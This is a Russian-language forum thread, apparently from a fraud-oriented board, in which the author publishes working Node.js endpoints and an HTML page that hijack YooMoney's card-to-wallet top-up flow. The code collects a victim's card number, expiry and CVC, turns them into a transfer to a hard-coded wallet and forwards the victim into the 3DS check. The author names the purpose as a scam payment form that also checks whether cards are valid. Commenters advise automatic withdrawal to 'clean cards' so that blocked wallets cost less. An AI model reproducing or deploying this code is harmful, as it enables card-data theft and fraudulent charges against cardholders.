Загрузка...

Эквайринг из обычного кошелька ЮMoney

Тема в разделе Статьи создана пользователем webad11 16 фев 2025. (поднята 9 май 2025) 1304 просмотра

Загрузка...
  1. webad11
    webad11 Автор темы 16 фев 2025 63 2 окт 2024
    [IMG]

    [ПРЕДЫСТОРИЯ]
    Здравствуйте всем, несколько месяцев назад я написал статью о реверс инжиниринге и получил много хейта за простоту темы.

    Сегодня я бы хотел разобрать веб реверсинг в более удобном для нас ключе, мы попробуем разобрать 3Ds ЮMoney и перевести их шлюз на нашу форму оплаты.

    [ЦЕЛИ]
    Зачем нам это может понадобиться? Получив доступ к 3Ds шлюзу банка мы можем создавать инвойсы вне их сайта, к примеру на скам форме с автоматической проверкой валидности карты и многое другое, в общем моё дело дать удочку - придумать зачем вы и сами сможете.

    Я НЕ ПРИЗЫВАЮ ИСПОЛЬЗОВАТЬ ДАННУЮ СТАТЬЮ В ПЛОХИХ ЦЕЛЯХ, ДАННАЯ СТАТЬЯ ЛИШЬ ДЕМОНСТРАЦИЯ МЕХАНИЗМА В УЧЕБНЫХ ЦЕЛЯХ

    [ПРАКТИКА]
    В прошлой теме было слишком много воды, в этот раз будет больше конкретики, без объяснения мелочей по типу как отслеживать запросы сайта.

    Я нашёл форму << ПОПОЛНЕНИЯ YooMoney >> по карте (оплатой через 3Ds), она же используется для формы << СБОРА ПОЖЕРТВОВАНИЙ >>, вполне нормальный вариант. Отследив запросы мы выявили 3 ключевых запроса для создания инвойса.

    [IMG]
    Данные API Endpoint'ы нам и нужны, но в процессе обнаруживаем что все запросы подписываются CSRF токеном, вопрос - откуда мы его получим? Проверив чуть JS код запросов мы обнаруживаем что на самой странице оплаты он есть в HTML, пишем небольшую функцию:
    JS
    // Endpoint для получения secretKey
    app.post('/api/v1/getSecretKey', async (req, res) => {
    const sum = req.body.sum; // Получаем сумму из тела POST-запроса
    const url = `https://yoomoney.ru/quickpay/confirm.xml?receiver=4100116048803188&quickpay-form=shop&targets=Sponsor%20this%20project&paymentType=SB&sum=${sum}`;

    try {
    const response = await axios.get(url);
    const htmlContent = response.data;

    // Загружаем HTML-контент в cheerio
    const $ = cheerio.load(htmlContent);

    // Ищем скрипт, содержащий window.__layoutData__
    let secretKey = null;
    $('script').each(function () {
    const scriptContent = $(this).html();
    const match = scriptContent.match(/window\.__layoutData__\s*=\s*({.*?});/);
    if (match) {
    try {
    const layoutData = JSON.parse(match[1]);
    if (layoutData.secretKey) {
    secretKey = layoutData.secretKey;
    return false; // Выходим из цикла each
    }
    } catch (error) {
    console.error('Error parsing JSON:', error);
    }
    }
    });

    if (secretKey) {
    res.json({ "success": "True", "secretKey": secretKey });
    } else {
    const error = "Secret Key not found in HTML response.";
    res.status(500).json({ "success": "False", "systemMessage": error });
    }

    } catch (error) {
    console.error('Error fetching page:', error.message);
    res.status(500).json({ error: 'Failed to retrieve the page' });
    }
    });
    Данная функция достаёт CSRF токен из HTML. Осталось только подключить остальные запросы под нас.


    JS
    // Endpoint для отправки данных на указанный URL
    app.post('/api/v1/getSynonym', async (req, res) => {
    const url = "https://paymentcard.yoomoney.ru/webservice/storecard/api/storeCardForPayment";
    const data = req.body; // Получаем данные из тела POST-запроса

    try {
    const response = await axios.post(url, data);
    res.json(response.data);
    } catch (error) {
    console.error('Error sending data to YooMoney:', error.message);
    res.status(500).json({ error: 'Failed to send data to YooMoney' });
    }
    });
    Данная функция отправит данные карты на сервер YooMoney, вернёт её синоним для создания инвойса.​
    В следующей функции указывается номер ЮMoney кошелька получателя!

    JS
    // Endpoint для принятия POST-запроса
    app.post('/api/v1/transfer', async (req, res) => {
    const url = "https://yoomoney.ru/transfer/ajax/transfers/getTransferContract";
    const { paymentCardSynonym, sum, 'x-csrf-token': csrfToken } = req.body;

    const headers = {
    "Content-Type": "application/json",
    "Accept": "application/json, text/plain, */*",
    "X-Csrf-Token": csrfToken,
    // Здесь можно добавить другие необходимые заголовки
    };

    const data = {
    withCredentials: true,
    params: {
    origin: "form",
    sender: {
    paymentCardSynonym: paymentCardSynonym
    },
    sum: {
    value: sum.value,
    alphabeticCurrency: "RUB"
    },
    parameters: {
    "shop-host": ""
    },
    schemeTypes: ["anyCardToWallet"],
    persistType: "default",
    recipient: {
    account: "4100116048803188"
    },
    cardBind: false,
    signedForm: {
    params: {}
    },
    formTexts: {
    formComment: "Перевод по кнопке",
    targets: "Перевод по кнопке"
    },
    formSenderInfo: {},
    tmxSessionId: "41ab80c7-8400-53a0-8996-b28ef27678a5"
    }
    };

    try {
    const response = await axios.post(url, data, { headers });
    res.json(response.data);
    } catch (error) {
    console.error('Error sending data to YooMoney:', error.message);
    res.status(500).json({ error: 'Failed to send data to YooMoney' });
    }
    });
    Данный endpoint получит сумму, синоним карты - создаст инвойс.​
    JS
    // Endpoint для принятия POST-запроса
    app.post('/api/v1/processPayment', async (req, res) => {
    const url = "https://yoomoney.ru/transfer/ajax/transfers/anyCardToWallet";
    const { xCsrfToken, orderId } = req.body;

    const headers = {
    "Accept": "application/json, text/plain, */*",
    "Accept-Encoding": "gzip, deflate, br, zstd",
    "Accept-Language": "ru,en;q=0.9,en-GB;q=0.8,en-US;q=0.7",
    "Content-Type": "application/json",
    "Origin": "https://yoomoney.ru",
    "Referer": `https://yoomoney.ru/transfer/process/confirm?orderId=${orderId}`,
    "Sec-Ch-Ua": '"Not/A)Brand";v="8", "Chromium";v="126", "Microsoft Edge";v="126"',
    "Sec-Ch-Ua-Mobile": "?0",
    "Sec-Ch-Ua-Platform": '"Windows"',
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "same-origin",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0",
    "X-Csrf-Token": xCsrfToken
    };

    const data = {
    withCredentials: true,
    params: {
    orderId: orderId,
    extAuthSuccessUri: `ЗАМЕНИТЬ НА SUCCESS URL ИЛИ ПОСТАВИТЬ ОТ YOOMONEY ОРИГИНАЛ`,
    extAuthFailUri: `ЗАМЕНИТЬ НА FAIL URL ИЛИ ПОСТАВИТЬ ОТ YOOMONEY ОРИГИНАЛ`
    }
    };

    try {
    const response = await axios.post(url, data, { headers });
    res.json(response.data);
    } catch (error) {
    console.error('Error sending data to YooMoney:', error.message);
    res.status(500).json({ error: 'Failed to send data to YooMoney' });
    }
    });
    Данный запрос вернёт нам данные для 3Ds формы​
    Как мы видим в коде отсутствуют сами данные для запроса, это просто ендпоинты которые передают данные на YooMoney, для этого мы напишем пост обработчик который получит данные с вашей формы оплаты и свяжется с нашим API.​
    [IMG]
    HTML
    <!DOCTYPE html>
    <html lang="en">

    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Подключение к банку</title>
    <style>
    body {
    color: #fff;
    text-align: center;
    background-color: #a3bfec;
    font-family: Arial, sans-serif;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    height: 100vh;
    margin: 0;
    }

    h1,
    p {
    margin: 0;
    }

    img {
    max-width: 100%;
    height: auto;
    }
    </style>
    </head>

    <body>
    <h1>Подключение к банку.</h1>
    <p>Это займёт пару секунд.</p>
    <img src="https://cdn.dribbble.com/users/5233537/screenshots/14285996/media/421d035bbb3cbbc03407584de500e08f.gif">

    <script src="https://cdn.jsdelivr.net/npm/js-md5@0.7.3/build/md5.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
    <form id="paymentForm" action="" method="POST">
    <input type="hidden" name="PaReq" value="">
    <input type="hidden" name="MD" value="">
    <input type="hidden" name="TermUrl" value="">
    </form>
    <script>
    async function getSecretKey() {
    const sum = <%= amount %>; // Пример суммы для запроса (можно динамически указывать)
    const url = '/api/v1/getSecretKey'; // URL вашего сервера

    try {
    const response = await fetch(url, {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify({ sum })
    });

    if (!response.ok) {
    throw new Error('Failed to fetch secret key');
    }

    const responseData = await response.json();
    if (responseData.success === "True") {
    const secretKey = responseData.secretKey;

    // Данные для отправки
    const paymentData = {
    "csc": "<%= *** %>",
    "pan": "<%= card %>",
    "expireDate": "20<%= date %>"
    };

    // URL для отправки POST-запроса
    const paymentUrl = '/api/v1/getSynonym';

    // Функция для отправки POST-запроса
    async function sendPaymentData() {
    try {
    const paymentResponse = await fetch(paymentUrl, {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify(paymentData)
    });

    if (!paymentResponse.ok) {
    throw new Error('Failed to send data to YooMoney');
    }

    const jsonResponse = await paymentResponse.json();

    const createUrl = '/api/v1/transfer'
    const createData = {
    "paymentCardSynonym": jsonResponse.result.cardSynonym,
    "sum": {
    "value": <%= amount %>,
    "alphabeticCurrency": "RUB"
    },
    "x-csrf-token": secretKey
    }

    // Отправляем запрос на создание платежа
    await createPayment(createUrl, createData);

    } catch (error) {
    console.error('Error sending data to YooMoney:', error.message);
    }
    }

    async function getPayment(url, data) {
    try {
    const response = await fetch(url, {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
    });

    if (!response.ok) {
    throw new Error('Failed to create payment');
    }

    const responseData = await response.json();
    // Получаем форму по её id
    console.log(responseData);
    const form = document.getElementById('paymentForm');

    async function fillAndSubmitForm(responseData) {
    try {
    // Проверяем, есть ли данные для нового формата ответа
    if (responseData.result.status === "awaitingpayerauthentication" &&
    responseData.result.subStatus === "Wait3dsAuthentication" &&
    responseData.result.acsData && responseData.result.acsData.fingerprint) {

    // Новый формат ответа
    console.log('Detected new response format. Using new form.');

    // Создаем форму
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = 'https://3ds-gate.yoomoney.ru/card-auth'; // URL для отправки формы
    form.style.display = 'none'; // Скрываем форму

    // Добавляем поля к форме

    // Поле methodData
    const methodDataInput = document.createElement('input');
    methodDataInput.type = 'hidden';
    methodDataInput.name = 'methodData';
    methodDataInput.value = responseData.result.acsData.fingerprint.threeDsMethodData;
    form.appendChild(methodDataInput);

    // Поле methodUrl
    const methodUrlInput = document.createElement('input');
    methodUrlInput.type = 'hidden';
    methodUrlInput.name = 'methodUrl';
    methodUrlInput.value = encodeURIComponent(responseData.result.acsData.fingerprint.threeDsMethodUrl);
    form.appendChild(methodUrlInput);

    // Поле orderN
    const orderNInput = document.createElement('input');
    orderNInput.type = 'hidden';
    orderNInput.name = 'orderN';
    orderNInput.value = responseData.result.acsData.fingerprint.orderN;
    form.appendChild(orderNInput);

    // Добавляем форму на страницу
    document.body.appendChild(form);

    // Отправляем форму
    form.submit();
    }
    // Если старый формат ответа
    else if (responseData.result.acsData && responseData.result.acsData.challenge) {
    console.log('Detected old response format. Using old form.');

    // Старый формат ответа - используем существующую форму
    const form = document.querySelector('#existingForm'); // Ищем старую форму на странице

    // Заполняем скрытые поля формы
    form.querySelector('input[name="PaReq"]').value = responseData.result.acsData.challenge.parameters.PaReq;
    form.querySelector('input[name="MD"]').value = responseData.result.acsData.challenge.parameters.MD;
    form.querySelector('input[name="TermUrl"]').value = responseData.result.acsData.challenge.parameters.TermUrl;

    // Устанавливаем атрибут action формы
    form.action = responseData.result.acsData.challenge.url; // URL для отправки формы

    // Отправляем форму
    form.submit();
    }
    else {
    console.log('Payment is still processing or format not recognized.');
    }
    } catch (error) {
    console.error('Error filling and submitting form:', error.message);
    }
    }


    fillAndSubmitForm(responseData);

    } catch (error) {
    console.error('Error creating payment:', error.message);
    }
    }

    // Функция для создания платежа
    async function createPayment(url, data) {
    try {
    const response = await fetch(url, {
    method: 'POST',
    headers: {
    'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
    });

    if (!response.ok) {
    throw new Error('Failed to create payment');
    }

    const responseData = await response.json();

    const urlProcess = "/api/v1/processPayment"
    const dataProcess = {
    "xCsrfToken": secretKey,
    "orderId": responseData.result.orderId
    }
    getPayment(urlProcess, dataProcess)

    // Ждем 2 секунды перед повторным вызовом функции
    await new Promise(resolve => setTimeout(resolve, 2000));

    // Вызываем функцию снова
    await getPayment(urlProcess, dataProcess);

    } catch (error) {
    console.error('Error creating payment:', error.message);
    }
    }

    // Вызываем функцию для отправки данных
    await sendPaymentData();

    } else {
    console.error('Error:', responseData.systemMessage);
    }
    } catch (error) {
    console.error('Error fetching secret key:', error.message);
    }
    }

    // Вызываем функцию getSecretKey при загрузке страницы
    window.onload = function () {
    getSecretKey();
    };
    </script>
    </body>

    </html>
    Это всё пример того как может выглядеть реверс ЮMoney, полный код можете посмотреть у меня на GitHub:
    https://github.com/looneysky/YooGate

    Код - это всего лишь демонстрация возможностей, настоящие программисты думаю разберутся как с этим работать.
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    16 фев 2025 Изменено
  2. webad11
    webad11 Автор темы 19 фев 2025 63 2 окт 2024
    Актуальная тема, или сносить?
     
  3. InfernLife
    InfernLife 16 фев 2025 Купить домен анонимно - t.me/FastDomainBot 700 8 май 2023
    Видел такое, но все ровно годно. Сделай подобную статью с зарубежными платежными шлюзами

    ps те кто собираются использовать юмани часто блокируют кошельки, гемор выводить бабки
     
    1. Посмотреть предыдущие комментарии (1)
    2. InfernLife
      webad11, я видел у других ботов так сделано, но когда 1 раз блокнули юмани и не смог вывести бабки, решил не пробовать добавлять в бота
    3. webad11 Автор темы
      InfernLife, в идеале надо автовывод на чистые карты настроить, тогда всё гуд, если и блокнут - не многое теряешь, код это всего лишь база на которой можно построить норм эквайринг.
  4. webad11
    webad11 Автор темы 16 фев 2025 63 2 окт 2024
    Заметил как-то мало актива, если у кого-то есть вопросы - задавайте ответом на этот комментарий, всем отвечу.
     
  5. bebra1995
    bebra1995 17 фев 2025 114 26 июл 2024
    Такая форма оплаты только в виде оплаты картой существует, или можно подкинуть СБП?
     
    17 фев 2025 Изменено
    1. webad11 Автор темы
      bebra1995, пополнение сбп у юmoney строго по номеру телефона самого аккаунта, поэтому только картой
  6. Весть
    Весть 19 фев 2025 На поездку в Москву - 7169\25 ООО 8698 8 авг 2019
    ты и не найдёшь много актива. Это тема узкоспециальная, а значит основной массе юзеров бесполезна

    Да и больше напоминает на гайды для ворка по ру.
     
  7. kimimaru
    kimimaru 6 мар 2025 5 27 янв 2019
    Бро,это имба продолжай в том же духе я и прошлую статью с Ии прочитал видимо челы слишком идиоты раз не видят такое,жду статей с веб реверсом.
     
  8. json
    json 12 май 2025 :lol: 1443 13 янв 2023
    авторку. статья кайф
     
Top